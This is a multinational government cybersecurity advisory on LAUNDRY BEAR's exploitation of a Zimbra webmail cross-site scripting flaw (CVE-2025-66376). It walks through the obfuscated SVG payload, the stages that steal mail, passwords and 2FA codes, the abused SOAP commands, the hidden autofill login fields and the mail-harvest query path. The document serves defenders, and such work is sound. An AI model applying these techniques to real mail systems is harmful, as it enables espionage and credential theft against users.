<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
